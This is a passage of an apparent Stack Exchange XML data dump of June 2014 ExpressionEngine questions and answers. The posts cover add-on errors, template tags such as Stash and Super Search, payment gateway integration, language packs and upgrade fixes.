issues?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the problems exist when the REST tags are called from inside:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;   {if embed:query}query=&quot;{embed:query}&quot;{/if}&#xA;   collection=&quot;forum_topics&quot;&#xA;   disable=&quot;categories|category_fields&quot;&#xA;   limit=&quot;25&quot;&#xA;   paginate=&quot;bottom&quot;&#xA;   orderby=&quot;date&quot;&#xA;   sort=&quot;desc&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I replace that with just &lt;code&gt;{exp:channel:entries}&lt;/code&gt; (and remove the &lt;code&gt;query&lt;/code&gt; param, and replace &lt;code&gt;collection&lt;/code&gt; with &lt;code&gt;channel&lt;/code&gt;), the problem is gone. So, it has something to do with Low Search???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other place where this add-on is having issues is when it is inside of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:friends:mine&#xA;    member_id=&quot;CURRENT_USER&quot;&#xA;    reciprocal=&quot;y&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 3:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a &lt;code&gt;var_dump&lt;/code&gt; in the part of the code that encounters the error. &lt;code&gt;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;date_vars&lt;/code&gt; has the value &lt;code&gt;array(1) {  [0]=&amp;gt;  string(10) &quot;entry_date&quot;}&lt;/code&gt;. &lt;code&gt;$index&lt;/code&gt; is &lt;code&gt;int(0)&lt;/code&gt;. And &lt;code&gt;$child&lt;/code&gt; has the array that I need.&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2014-06-26T20:42:32.033" LastActivityDate="2014-06-27T03:36:44.297" Title="REST addon error?" Tags="|channel-entries|templates|add-on|addons|rest|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23861" PostTypeId="2" ParentId="23729" CreationDate="2014-06-22T08:03:51.693" Score="0" Body="&lt;p&gt;What I ended up doing is duplicating my shipping plugin, so that I have a summer shipping plugin as well as the regular one.&lt;/p&gt;&#xA;" OwnerUserId="1593" LastActivityDate="2014-06-22T08:03:51.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23862" PostTypeId="1" CreationDate="2014-06-22T13:59:20.703" Score="2" ViewCount="132" Body="&lt;p&gt;I have a fresh ExpressionEngine 2.8.1 installation and a fresh CartThrob 2.5 installation. Without making any alterations, I've already received a developer log message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Deprecated function set_cookie() called in system/expressionengine/third_party/cartthrob/libraries/Cartthrob_session.php on line 195.&#xA;  Deprecated since 2.8. Use EE_Input::set_cookie() instead.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've read that CartThrob 2.5 doesn't work completely with EE 2.8 yet, but I need to get this installation moving. Can anyone provide guidance on how to get these two to play together? Is it as simple as doing a find-and-replace &quot;set_cookie()&quot; to &quot;EE_Input::set_cookie()&quot; in that Carthrob_session.php file?&lt;/p&gt;&#xA;" OwnerUserId="3269" LastActivityDate="2016-06-21T19:47:34.150" Title="CartThrob deprecated set_cookie() upon installation" Tags="|cartthrob|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23863" PostTypeId="2" ParentId="22006" CreationDate="2014-06-22T15:30:08.893" Score="5" Body="&lt;p&gt;This was a browser extension problem for me. LastPass has an &quot;auto fill&quot; feature that seems to conflict in some way with the way checkboxes work in the EE control panel. Disabling auto fill for the particular site worked.&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2014-06-22T15:30:08.893" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23866" PostTypeId="1" CreationDate="2014-06-22T20:19:56.057" Score="1" ViewCount="25" Body="&lt;p&gt;Is there a way to import a specific type of content via datagrab (@type - eg, Press Release)? I tried adding several variations of /cmPublishImport/content?type=&quot;Press Release&quot; on an xml import with no avail? Any thoughts on how to do this?&lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2014-06-22T20:19:56.057" Title="Import only a specific node type" Tags="|datagrab|xml|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23867" PostTypeId="2" ParentId="23759" CreationDate="2014-06-22T23:36:46.303" Score="1" Body="&lt;p&gt;In a word, no, I don't believe Freemember has template tags to adjust the email activation page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could probably be added to freemember with a pull request though, the same way the reset password process works.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-06-22T23:36:46.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23868" PostTypeId="2" ParentId="23664" CreationDate="2014-06-23T03:44:03.547" Score="0" Body="&lt;p&gt;If &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/global_channel_preferences.html#auto-assign-category-parents&quot; rel=&quot;nofollow&quot;&gt;Auto-Assign Category Parents&lt;/a&gt; is enabled, you can list just the parents.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2014-06-29T01:52:29.503" LastActivityDate="2014-06-29T01:52:29.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23869" PostTypeId="1" CreationDate="2014-06-23T04:57:12.737" Score="0" ViewCount="64" Body="&lt;p&gt;I'm looking to re-invent the wheel to some extent and am inquiring how best to go about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to replicate the read/unread functionality of forum software (Not EE but IPB). Thats to say lets say we have 5 entries and I've only read/landed on entry#1, the other 4 would somehow be marked as &quot;unread&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using entries/comments instead of forums because I want the entire site in my control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thinking would be soon as an entry is posted, its ID is recorded in every members &quot;profile&quot; (or a new table mapped to members ID). If a comment is posted, it to is recorded to all members profile (or new table mapped to members ID) not the comment ID but the entry_id it belongs to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So entry 4-5 could be recorded like a JSON/array&#xA;[entry_id2], [entry_id3], [entry_id4], [entry_id5] - don't need comment ID as the comments live on the same page as the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Soon as a member lands on a page with an entry_id listed in their profile (or table) it would delete the corresponding ID - making it 'read'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a &quot;view latest entries&quot; summary page, we could then mark item#1 as read (because its not in the users list of unread ID's) and we could then mark the remaining 4 as unread (because it is in their list of unread ID's).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you made it this far - great. Now, can I source an approach on what I'll need to know to accomplish this. I know I'll need to do create something module/accessory or plugin but NFI on just how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a note, there will be about 30-50 members, with about 5-20 posts per day - so not huge &lt;em&gt;but&lt;/em&gt; could be – so query/server load will be a factor.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-07-23T18:37:14.893" Title="Read/Unread entries + comments" Tags="|comments|users|how-to|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23870" PostTypeId="2" ParentId="23793" CreationDate="2014-06-23T06:19:09.657" Score="2" Body="&lt;p&gt;Given that Store doesn't let you register members without creating an order, and you mentioned that these spam registrations aren't creating orders, it's almost certain that these registrations aren't coming in through Store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, captchas aren't necessary with Store, because no spammer in their right mind would bother going through a credit card payment just to sign up a member on your site or place a fake order :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds like the question above helped you find the cause of the problem. Just wanted to add that it's unlikely Store was the cause of the problem here in case other people are running into similar issues.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-06-23T06:19:09.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23871" PostTypeId="2" ParentId="23832" CreationDate="2014-06-23T06:41:04.307" Score="2" Body="&lt;p&gt;As Justin mentioned, if PayU supports this then it would certainly be possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store (and the payment library Omnipay) supports both on-site and off-site gateways fine, so it's just a case of whether or not PayU supports this at their API level.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-06-23T06:41:04.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23872" PostTypeId="2" ParentId="23837" CreationDate="2014-06-23T06:43:50.880" Score="1" Body="&lt;p&gt;These errors are caused by PHP namespaces. Because your gateway is in the &lt;code&gt;Omnipay\PayU\Message\&lt;/code&gt; namespace, if you call &lt;code&gt;new SimpleXMLElement()&lt;/code&gt; then PHP will look for the &lt;code&gt;Omnipay\PayU\Message\SimpleXMLElement&lt;/code&gt; class, which obviously doesn't exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To prevent this error, you either need to add &lt;code&gt;use SimpleXMLElement;&lt;/code&gt; at the top of your PHP file, or you can add a single backslash at the beginning of the class name (e.g. &lt;code&gt;new \SimpleXMLElement()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information, see &lt;a href=&quot;http://www.php.net/manual/en/language.namespaces.rationale.php&quot; rel=&quot;nofollow&quot;&gt;PHP Namespaces Overview&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-06-23T06:43:50.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23873" PostTypeId="2" ParentId="23848" CreationDate="2014-06-23T06:47:53.877" Score="0" Body="&lt;p&gt;I don't think the Store search tag supports dynamic parameters for internal Store fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To work around this, you could put the orderby/sort parameters into segment variables (for example, &lt;code&gt;orderby=&quot;{segment_3}&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could use one of the many EE extensions which allow you to access GET variables as early parsed EE template vars.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-06-23T06:47:53.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23875" PostTypeId="2" ParentId="23829" CreationDate="2014-06-23T07:32:36.710" Score="0" Body="&lt;p&gt;Aha, I have found the problem! It was a the setting: &quot;URL to the root directory of your site&quot; under &quot;General configuration&quot; that contained a wrong path :).&lt;/p&gt;&#xA;" OwnerUserId="2146" LastActivityDate="2014-06-23T07:32:36.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23878" PostTypeId="1" AcceptedAnswerId="23904" CreationDate="2014-06-23T10:48:53.583" Score="1" ViewCount="54" Body="&lt;p&gt;I have a stash set list that's getting all the entries from a channel as follows;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;items-{segment_2}&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;3&quot;}&#xA;    {exp:tag:related_entries&#xA;        channel=&quot;items&quot;&#xA;        orderby=&quot;title&quot;&#xA;        sort=&quot;asc&quot;&#xA;    }&#xA;        {stash:item_id}{entry_id}{/stash:item_id}&#xA;        {stash:item_title}{title}{/stash:item_title}&#xA;        {stash:item_count}{count}{/stash:item_count}&#xA;    {/exp:tag:related_entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm then using a get list as follows, first to get the first 3 items and then again to get all the rest in the &quot;more_items&quot; div;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Items &amp;lt;a href=&quot;&quot;&amp;gt;View more&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;items&quot;&amp;gt;&#xA;{exp:stash:get_list name=&quot;items-{segment_2}&quot; limit=&quot;3&quot;}&#xA;{item_title}&#xA;{/exp:stash:get_list}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;more_items&quot;&amp;gt;&#xA;{exp:stash:get_list name=&quot;items-{segment_2}&quot; offset=&quot;3&quot;}&#xA;{item_title}&#xA;{/exp:stash:get_list}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll notice I have a h1 that contains a link to View more. This has some JS to handle the reveal of the &quot;more_items&quot; div. However, i'd like to hide the View more link if there are only 3 or less items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried moving the heading inside the first list but because it is limited by 3 it can't figure out if there are more than 3 to show the link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be grateful if anyone has any advice. :)&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2014-06-26T21:42:08.407" Title="Display a heading for a stash:get_list if there are more than X entries" Tags="|stash|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23879" PostTypeId="1" CreationDate="2014-06-23T11:09:54.673" Score="2" ViewCount="273" Body="&lt;p&gt;I am upgrading from 2.3.1 to 2.8.1. I have gone through all the initial documented upgrade steps. I am also running MSM, and I have upgraded these files as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The installer loads correctly, then when I click the &quot;Go ahead and upgrade&quot; link (I forget the exact wording) I get a blank page. With debug = 1 I get the following error details:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined property: Wizard::$cache&#xA;Filename: database/DB_cache.php&#xA;Line Number: 49&lt;/p&gt;&#xA;&#xA;&lt;p&gt;( ! ) Fatal error: Call to a member function get() on a non-object in (...)/admin/codeigniter/system/database/DB_cache.php on line 49&#xA;Call Stack&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1   {main}( )   ../index.php:0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2   require_once( '..../admin/codeigniter/system/core/CodeIgniter.php' )    ../index.php:235&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3   Wizard-&gt;_remap( )   ../CodeIgniter.php:306&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4   Wizard-&gt;_license( ) ../wizard.php:266&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5   CI_DB_active_record-&gt;count_all_results( )   ../wizard.php:642&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6   CI_DB_driver-&gt;query( )  ../DB_active_rec.php:1023&lt;/p&gt;&#xA;&#xA;&lt;p&gt;7   CI_DB_Cache-&gt;read( )    ../DB_driver.php:276&lt;/p&gt;&#xA;" OwnerUserId="3264" LastEditorUserId="3264" LastEditDate="2014-06-23T11:17:27.523" LastActivityDate="2014-06-23T14:25:38.097" Title="Undefined property: Wizard::$cache during upgrade from 2.3.1 to 2.8.1" Tags="|ee2|upgrade|ee2-upgrades|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23880" PostTypeId="2" ParentId="23878" CreationDate="2014-06-23T11:27:39.507" Score="1" Body="&lt;p&gt;Could you not use the &lt;code&gt;{count}&lt;/code&gt; or &lt;code&gt;{absolute_results}&lt;/code&gt; function ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;items-{segment_2}&quot; parse_conditionals=&quot;yes&quot;}&#xA;//^ parse_conditionals may be required&#xA;{if absolute_results &amp;gt;= 3}&amp;lt;h1&amp;gt;Items &amp;lt;a href=&quot;&quot;&amp;gt;View more&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;{/if}&#xA;//^ unsure of wrapping results, may need {} ??&#xA;{/exp:stash:get_list}&#xA;&#xA;&amp;lt;div class=&quot;items&quot;&amp;gt;&#xA;{exp:stash:get_list name=&quot;items-{segment_2}&quot; limit=&quot;3&quot;}&#xA;{item_title}&#xA;{/exp:stash:get_list}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;more_items&quot;&amp;gt;&#xA;{exp:stash:get_list name=&quot;items-{segment_2}&quot; offset=&quot;3&quot;}&#xA;{item_title}&#xA;{/exp:stash:get_list}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously if you &quot;view more&quot; conditional sat directly beneath the {get_list limit=&quot;3&quot;} you could put the conditional inside and save an additional query.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-06-23T11:27:39.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23882" PostTypeId="1" CreationDate="2014-06-23T11:56:49.053" Score="2" ViewCount="62" Body="&lt;p&gt;I have this grid field which is set for a date (calendar), but when I output the field's date it is printed in English.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the dutch language-pack installed, for my Add-On of Low Events EE does print the dates in the dutch language..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody knows why my grid 'date' field prints in English?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Expression Engine v2.8.1 -&#xA;Language pack from January 2014&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards Dave&lt;/p&gt;&#xA;" OwnerUserId="3191" LastActivityDate="2014-06-24T13:17:49.743" Title="Grid Field Language" Tags="|language|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23883" PostTypeId="1" AcceptedAnswerId="23915" CreationDate="2014-06-23T12:16:14.333" Score="1" ViewCount="205" Body="&lt;p&gt;I am integrating the PayU payment gateway into EE2 by using store and Omnipay. The on-page payment gateway allows the user to pay via credit card, but with 3DSecure enabled to provide an extra layer of security. Hoe would I go about displaying the OTP pin page to the user so he can enter the pin received via SMS, submit this and get on with the transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got the testing payment to go through successfully, but just need to cater for this 3dsecure feature.&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-06-24T08:29:18.927" Title="3D Secure Payments With PayU Payment Gateway Using Expresso Store/Omnipay" Tags="|expresso-store|ee2|payment-gateway|omnipay|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23884" PostTypeId="2" ParentId="23857" CreationDate="2014-06-23T12:23:27.670" Score="1" Body="&lt;p&gt;Try adding the &lt;code&gt;{if day_event_total &amp;gt; 0} ... {/if}&lt;/code&gt; conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal date_range_start=&quot;today&quot; show_days=&quot;30&quot; pad_short_weeks=&quot;n&quot;} &#xA; {display_each_day}&#xA;  &amp;lt;div class=&quot;day_list&quot;&amp;gt;&#xA;   {if day_event_total &amp;gt; 0}&amp;lt;h3 class=&quot;day&quot;&amp;gt;{day format=&quot;%l, %F %j&quot;}&amp;lt;/h3&amp;gt;{/if}&#xA;   {if day_event_total == 0}&amp;lt;p&amp;gt;No Events&amp;lt;/p&amp;gt;{/if}&#xA;    {events}&#xA;     &amp;lt;p&amp;gt;&amp;lt;a class=&quot;event_name&quot; href=&quot;#&quot;&amp;gt;{event_title}&amp;lt;/a&amp;gt; {event_start_date format=&quot;%g:%i %a&quot;} - {event_end_date format=&quot;%g:%i%a&quot;}&amp;lt;/p&amp;gt;&#xA;    {/events}&#xA;  &amp;lt;/div&amp;gt;&#xA; {/display_each_day}&#xA;{/exp:calendar:cal} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you really wanted to show &lt;em&gt;nothing&lt;/em&gt; on days with no events, you could also remove the &lt;code&gt;{if day_event_total == 0}&amp;lt;p&amp;gt;No Events&amp;lt;/p&amp;gt;{/if}&lt;/code&gt; conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it goes without saying that we recommend updating EE and Calendar at some point. Both versions are quite old. (&lt;strong&gt;Make database and file backups before you do&lt;/strong&gt;)&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-06-23T12:23:27.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23885" PostTypeId="2" ParentId="23882" CreationDate="2014-06-23T13:18:11.383" Score="3" Body="&lt;p&gt;The point is that EECMS uses &lt;strong&gt;two&lt;/strong&gt; folders of languages!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One is &lt;code&gt;/system/expressionengine/language/&lt;/code&gt; and the other is &lt;code&gt;/system/codeigniter/system/language&lt;/code&gt;. Both language packs are completely different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dates and the form validation messages are used from the one in the Codeigniter folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find &lt;a href=&quot;https://github.com/EllisLab/CodeIgniter/wiki/Language-Translation&quot; rel=&quot;nofollow&quot;&gt;CodeIgniter Language Packs on github&lt;/a&gt;, but I don't know if they match the custom version used on EECMS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My suggestion is to duplicate the contents of the English folder and translate just the parts you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep the same name on both folders and they will be activated together.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Yeap! This is annoying. I already filled a &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19245/ci-languages-files-on-form-validation-class&quot; rel=&quot;nofollow&quot;&gt;bug report about this&lt;/a&gt;, but looks like, despite of what the bug report says, it is still relevant:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This bug report is over one year old and may not be relevant.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2014-06-24T13:17:49.743" LastActivityDate="2014-06-24T13:17:49.743" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23886" PostTypeId="1" AcceptedAnswerId="24733" CreationDate="2014-06-23T13:32:51.577" Score="1" ViewCount="273" Body="&lt;p&gt;I have recently starting having an issue in which the submit entry has begun to take between 10-20 secs to publish.This has happened over the last few weeks and Im no sure whats going on .Looking at it in firebug the post element seems to wait for the period of time before it completes. I recently upgraded to EE2.8.1 but this problem existed before and still happens now the upgrade is complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to happen across all channels no matter what fields exist in them .I setup a test channel with a field set with just a text box but the same issue occurred so it doesn't seem to be a issue with an individual plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brian&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2014-07-29T10:34:42.390" Title="EE slow on submit entry" Tags="|control-panel|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23887" PostTypeId="1" AcceptedAnswerId="23911" CreationDate="2014-06-23T13:53:11.867" Score="0" ViewCount="67" Body="&lt;p&gt;I've purchased Solspace's Super Search but can't seem to get the range working correctly. I've followed the docs and it seems to be set-up correctly but isn't correctly returning the ranges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a simple GET filter form for a size range. The sizes are inputted into EE and are being collated correctly in the form but the results aren't working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;{path='letting/search'}&quot; id=&quot;letting_form&quot; method=&quot;GET&quot;&amp;gt;&#xA;        &amp;lt;label&amp;gt;Search by size:&amp;lt;/label&amp;gt; &#xA;        &amp;lt;select class=&quot;small&quot; style=&quot;margin-right:6px;&quot; name=&quot;unitsize-from&quot;&amp;gt; &#xA;            &amp;lt;option value=&quot;0&quot;&amp;gt;From&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;0&quot;&amp;gt;0&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;50&quot;&amp;gt;50&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;100&quot;&amp;gt;100&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;150&quot;&amp;gt;150&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;250&quot;&amp;gt;250&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;350&quot;&amp;gt;350&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;500&quot;&amp;gt;500&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&#xA;&#xA;        &amp;lt;select class=&quot;small&quot; name=&quot;unitsize-to&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;9999&quot;&amp;gt;To&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;50&quot;&amp;gt;50&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;100&quot;&amp;gt;100&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;150&quot;&amp;gt;150&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;250&quot;&amp;gt;250&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;350&quot;&amp;gt;350&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;500&quot;&amp;gt;500&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;750&quot;&amp;gt;750&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;1000&quot;&amp;gt;1000&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&#xA;&#xA;        &amp;lt;select name=&quot;unit_type&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;&quot;&amp;gt;Select Retail or Office Availability&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;retail_space&quot;&amp;gt;Retail Space&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;office_space&quot;&amp;gt;Office Space&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&#xA;&#xA;        &amp;lt;button type=&quot;submit&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It outputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/search?unitsize-from=250&amp;amp;unitsize-to=750&amp;amp;unit_type=retail_space&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is my output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results channel=&quot;unit_space&quot;}&#xA;    {if unit_availability == &quot;Available&quot;}&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td&amp;gt;{unit_type}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;{categories}{category_name}{/categories}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;{title}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;{unitsize}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;a href=&quot;{unit_brochure}&quot;&amp;gt;Download&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;a class=&quot;view-more&quot; href=&quot;#{url_title}&quot;&amp;gt;View&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    {if:else}&#xA;    &amp;lt;p&amp;gt;There are no units available at this time.&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;{/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2645" LastActivityDate="2014-06-24T05:18:37.350" Title="Super Search range not working" Tags="|solspace|search|supersearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23888" PostTypeId="2" ParentId="23879" CreationDate="2014-06-23T14:25:38.097" Score="2" Body="&lt;p&gt;In my old database config file (expressionengine/config/database.php), there was the setting &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db['expressionengine']['cache_on'] = TRUE;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe this setting is for db query caching, which is not recommended anymore anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, changing this setting to FALSE, or deleting it, solved the issue for me.&lt;/p&gt;&#xA;" OwnerUserId="3264" LastActivityDate="2014-06-23T14:25:38.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23889" PostTypeId="2" ParentId="23815" CreationDate="2014-06-23T14:55:31.393" Score="0" Body="&lt;p&gt;Haha my client banned al the IP numbers except his own. He did not know how to make the site offline. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So problem solved!&lt;/p&gt;&#xA;" OwnerUserId="1755" LastActivityDate="2014-06-23T14:55:31.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
